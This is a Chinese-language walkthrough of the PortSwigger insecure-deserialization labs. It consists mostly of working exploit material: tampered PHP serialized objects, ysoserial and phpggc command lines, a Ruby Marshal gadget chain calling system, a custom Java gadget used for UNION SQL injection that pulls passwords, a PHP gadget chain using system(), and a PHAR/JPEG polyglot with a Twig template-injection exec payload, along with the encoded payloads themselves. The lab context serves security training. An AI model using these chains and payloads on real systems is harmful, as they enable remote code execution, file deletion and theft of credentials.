修改序列化对象
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
修改序列化数据类型
<@base64url>O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}<@/base64url>
用应用程序功能来利用不安全的反序列化
<@base64url>O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v02r4gwi0w62akba0l5ltkth9130fl6m";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}<@/base64url>
PHP 中的任意对象注入
可以通过~ 获取源码
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
<?php
class CustomTemplate {
private $lock_file_path;
public function __construct($template_file_path) {
$this->lock_file_path = "/home/carlos/morale.txt";
}
}
$o = new CustomTemplate();
echo base64_encode(serialize($o));
?>
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
利用 Apache Commons 进行 Java 反序列化
这次很明显这里是java 的反序列化
java -jar ysoserial.jar URLDNS "http://c1eqwxdb7wm92ze0bbyuc85bc2it6nuc.oastify.com" | base64 -w 0
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//3QALGMxZXF3eGRiN3dtOTJ6ZTBiYnl1Yzg1YmMyaXQ2bnVjLm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0ADNodHRwOi8vYzFlcXd4ZGI3d205MnplMGJieXVjODViYzJpdDZudWMub2FzdGlmeS5jb214
java -jar ysoserial.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w 0
使用预构建的小工具链利用 PHP 反序列化
是个phpinfo()
看到框架版本是 Symfony Version: 4.3.6
https://github.com/symfony/symfony/archive/refs/tags/v4.3.6.zip
下载 phpggc
https://github.com/ambionics/phpggc/archive/refs/heads/master.zip
看到这条链其实不长
可以 发现返回了一个 TagAwareAdapter 对象 其中两个参数分别是 数组 CacheItem 和 ProxyAdapter
也就是说反序列化的起点就是在 TagAwareAdapter
看到只存在一个 __destruct方法
__destruct()->commit()->invalidateTags([])
其中注意这里的 $this->deferred 是
array(
new \Symfony\Component\Cache\CacheItem(1, $parameter))
$this->pool 是
new \Symfony\Component\Cache\Adapter\ProxyAdapter(1 , $function))
遍历数组 也就是取出来一个CacheItem 对象 接着调用了
ProxyAdapter()->saveDeferred($item)
首先这里的 CacheItemInterface $item 需要是 CacheItemInterface 类型 而我们的是 CacheItem 类型
可以看到其中 CacheItemInterface 并不属于 Symfony 这个包里面的 因此我们需要额外下载这个 包
可以看到实现了 ItemInterface
ItemInterface 继承了 CacheItemInterface 那么这里当然类型就相当了
断点处就是终点 其中 $this->setInnerItem 是我们传入的 任意方法
$innerItem 是我们传入的方法参数
还需要让if通过 并将innerItem 赋值 也就是需要 两个 poolHash 相等 而至于为什么要使用 \0*\0
其原因主要是由于 这里的数组是通过对象转换来的 而innerItem 属性是protected 其中数组的键名会被 null*null 前缀 而 \0 代表null
因此现在我们可以通过 phpggc 生成payload 了
./phpggc -l | grep Symfony
./phpggc Symfony/RCE4 exec "rm -rf rm /home/carlos/morale.txt" | base64 -w 0
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo=
需要注意的是这里还存在 sig_hmac_sha1 的签名 我们需要先寻找到secret_key
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= ","sig_hmac_sha1":"169f98a7bdfe7ca650205b982a90f135fc4c1a9f"}
使用记录的小工具链利用 Ruby 反序列化
可以看到是基于 ruby的
通过搜索 可以发现 pop链
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
注意最后一行
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
开发用于 Java 反序列化的自定义小工具链
发现源码
发现还有一个 源码
可以看到AccessTokenUser 实现了 Serialize 接口 说明可以被反序列化
这里存在 也可以反序列化 并且存在 readObject() 方法 并且在断点处存在一处 sql注入
稍微处理一下 ProductTemplate.java文件 生成 序列化对象
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
public ProductTemplate(String id)
{
this.id = id;
}
}
Test.java
import data.productcatalog.ProductTemplate;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
ProductTemplate productTemplate = new ProductTemplate("'");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(productTemplate);
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
}
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=
这里可以发现 这里是 1 的16进制
尝试注入
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
所以总共八列
' UNION SELECT NULL,NULL,'a',NULL,NULL,NULL,NULL,NULL--
' UNION SELECT NULL,NULL,NULL,'a',NULL,NULL,NULL,NULL--
所以第四列不是字符串
' UNION SELECT NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables--
' UNION SELECT NULL,NULL,NULL,cast(column_name as numeric),NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'--
' UNION SELECT NULL,NULL,NULL,cast((select column_name from information_schema.columns where table_name='users' limit 1 offset 1) as numeric),NULL,NULL,NULL,NULL from users--
' UNION SELECT NULL,NULL,NULL,cast(password as numeric),NULL,NULL,NULL,NULL from users--
开发用于 PHP 反序列化的自定义小工具链
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
简单构造一下
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new DefaultMap('system');
$this->default_desc_type = 'rm /home/carlos/morale.txt';
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
}
$f = new CustomTemplate();
echo base64_encode(serialize($f));
?>
CustomTemplate->__wakeup()->build_product() Product-> __construct($default_desc_type, $desc) DefaultMap->__get($name)
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjM6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31zOjc6InByb2R1Y3QiO047fQ==
使用 PHAR 反序列化部署自定义小工具链
CustomTemplate.php
<?php
class CustomTemplate {
private $template_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}
private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}
private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}
?>
Blog.php
<?php
require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');
class Blog {
public $user;
public $desc;
private $twig;
public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}
public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}
public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}
public function __sleep() {
return ["user", "desc"];
}
}
?>
生成链
<?php
function generate_base_phar($o, $prefix){
global $tempname;
@unlink($tempname);
$phar = new Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
class Blog {
public $user;
public $desc;
public function __construct()
{
$this->desc='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$this->user='user';
}
}
class CustomTemplate
{
private $template_file_path;
public function __construct($template_file_path)
{
$this->template_file_path = $template_file_path;
}
}
$b = new Blog();
$object = new CustomTemplate($b);
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('wanan.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';
var_dump(serialize($object));
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));
需要先修改php.ini
需要有一张基准 jpg图片
上传
/cgi-bin/avatar.php?avatar=phar://wiener
触发反序列化